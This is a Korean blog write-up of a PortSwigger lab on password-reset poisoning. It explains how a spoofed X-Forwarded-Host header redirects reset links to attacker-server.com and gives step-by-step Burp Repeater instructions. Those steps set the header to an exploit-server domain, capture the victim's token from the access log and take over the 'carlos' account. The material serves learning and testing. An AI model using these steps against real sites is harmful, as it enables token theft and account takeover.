정상작동
사용자: 비번 바꿀거예욤
서버: ㅇㅇ 비번 바꿀 링크 이메일로 보내드림. 근데 이게 맞는지 확인해야하니까 토큰 만들어서 나랑 니 이메일이랑 나눠가질거임. 링크 주소는 "https://" + [서버 도메인(현재 접속한 Host 도메인)] + "/forgot-password?token=abc123xyz" 이런식일것임.
사용자: 이메일 링크 클릭
사용자 이메일: 서버야, 이 토큰에 해당하는 페이지 보여줘
서버: ㅇㅇ 비번 변경 페이지 이거임.
사용자: 비번 바꿈.
서버: ㅇㅇ 비번 바꿈
해커참여
해커: 서버야 피해자 비번 바꿀껀데, 이 주소로해서 링크 만들어줘(X-Forwarded-Host헤더 사용, 해커의 도메인을 포함)
서버: ㅇㅇ 비번 바꿀 링크를 피해자 이메일로 보내드림. 토큰도 만듦. 링크 주소는 서버 도메인 대신 해커 도메인을 넣겠음 ㅇㅇ
사용자: 이메일 링크 클릭
사용자 이메일: 서버인 줄 알았지만 해커 서버야, 이 토큰에 해당하는 페이지 보여줘
해커: 희희 니 토큰 이제 내꺼, 서버야 이 토큰에 해당하는 페이지 보여줘
서버: ㅇㅇ 비번 변경 페이지 이거임
해커: 비번 바꿈
서버: ㅇㅇ 비번 바꿈
해커: 응 피해자 아이디로 접속
비밀번호 재설정 이메일의 URL이 동적으로 생성되는 경우, 비밀번호 재설정 스푸핑 공격에 취약할 수 있습니다. 이 경우 공격자는 다른 사용자의 토큰을 탈취하여 해당 사용자의 비밀번호를 변경할 수 있습니다.

Burp를 실행한 상태에서 비밀번호 재설정 기능을 살펴보세요. 고유한 재설정 토큰이 포함된 링크가 이메일로 전송되는 것을 확인할 수 있습니다.






POST /forgot-password를 Burp Repeater로 요청을 보내세요. X-Forwarded-Host헤더가 지원되므로 이를 사용하여 동적으로 생성된 재설정 링크를 임의의 도메인으로 지정할 수 있습니다.
X-Forwarded-Host 헤더는 클라이언트가 원래 요청했던 본래의 Host 이름을 서버에 전달하기 위해 사용하는 HTTP 헤더입니다.
보통 웹 서비스는 사용자(클라이언트)와 실제 서버 사이에 프록시(Proxy)나 로드 밸런서(Load Balancer)를 두고 운영하는 경우가 많습니다. 이때 실제 서버는 프록시의 주소만 알 수 있기 때문에, 사용자가 브라우저 주소창에 입력한 진짜 도메인 정보를 알기 위해 이 헤더를 참조합니다.
🛠️ 왜 보안 취약점이 될 수 있나요? (Host Header Injection)
비밀번호 재설정 기능에서 이 헤더를 잘못 사용하면 심각한 문제가 발생합니다. 작동 원리는 다음과 같습니다.
1. 정상적인 프로세스
- 사용자가 example.com에서 "비밀번호 찾기"를 누릅니다.
- 서버는 이메일을 보낼 때, 현재 접속 중인 도메인을 확인하여 링크를 만듭니다.
2. 공격 시나리오 (X-Forwarded-Host 변조)
공격자가 Burp Repeater로 요청을 보낼 때 헤더를 다음과 같이 조작합니다.
- Host: example.com (서버 주소)
- X-Forwarded-Host: attacker-server.com (공격자 서버)
서버가 이 헤더를 신뢰하여 이메일 본문의 링크를 동적으로 생성한다면, 피해자는 다음과 같은 이메일을 받게 됩니다.
"비밀번호를 재설정하려면 여기를 클릭하세요: [https://attacker-server.com/reset?token=secret_token](https://attacker-server.com/reset?token=secret_token)"
피해자가 이 링크를 클릭하는 순간, 비밀번호를 바꿀 수 있는 비밀 토큰(token)이 공격자의 서버 로그에 고스란히 남게 됩니다. 공격자는 이 토큰을 가로채서 피해자의 계정 비밀번호를 무단으로 변경할 수 있습니다.
🔍 Burp Repeater에서 테스트하는 방법
- POST /forgot-password 요청을 Repeater로 보냅니다.
- 헤더 부분에 X-Forwarded-Host: [본인의 협업 도구 주소 또는 임의의 도메인]을 추가합니다.
- 요청을 전송(Send)한 뒤, 서버가 보낸 이메일의 링크 주소가 내가 설정한 도메인으로 바뀌었는지 확인합니다.

익스플로잇 서버에 접속하여 익스플로잇 서버 URL을 기록해 두세요.


Burp Repeater의 요청으로 돌아가서 X-Forwarded-Host익스플로잇 서버 URL을 헤더에 추가하세요. (위치 상관 없음)
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
을 추가한다.
나는
X-Forwarded-Host: exploit-0ad9006303450c78805c02a80108008f.exploit-server.net/exploit

username매개변수를 carlos로 변경하고 요청을 보내세요. (이 다음 카를로스가 이메일을 열어봤다고 가정함)

공격 서버에 접속하여 액세스 로그를 엽니다. 쿼리 매개변수로 피해자의 토큰이 포함된 요청이 GET /forgot-password에서 보일 것입니다 . 이 토큰을 기록해 두십시오.


GET /forgot-password?를 Burp Repeater로 요청을 보내세요. 매개변수 temp-forgot-password-token의 값을 피해자의 토큰 값으로 변경하세요.


POST /forgot-password?를 Burp Repeater로 요청을 보내고, 토큰키와 비밀번호를 변경하여 카를로스 계정의 새 비밀번호를 설정하세요.



새 비밀번호를 사용하여 카를로스의 계정에 로그인하고 실험을 완료하세요.


'웹 해킹 > portswigger' 카테고리의 다른 글
| 버프스위트를 이용한 웹 해킹, 인증 취약점: 비밀번호 변경을 통한 비밀번호 무차별 대입 공격 (0) | 2026.05.08 |
|---|---|
| 버프스위트를 이용한 웹 해킹, 인증 취약점: 다른 인증 메커니즘의 취약점:비밀번호 재설정 (0) | 2026.04.29 |
| 버프스위트를 이용한 웹 해킹, 인증 취약점: 다른 인증 메커니즘의 취약점: 오프라인 암호 크래킹 (0) | 2026.04.27 |
| 버프스위트를 이용한 웹 해킹, 인증 취약점: 다른 인증 메커니즘의 취약점:로그인 유지 쿠키에 대한 무차별 대입 공격 (1) | 2026.04.23 |
| 버프스위트를 이용한 웹 해킹, 인증 취약점: 2단계 인증(2FA, Two-Factor Authentication)의 취약점 (1) | 2026.04.23 |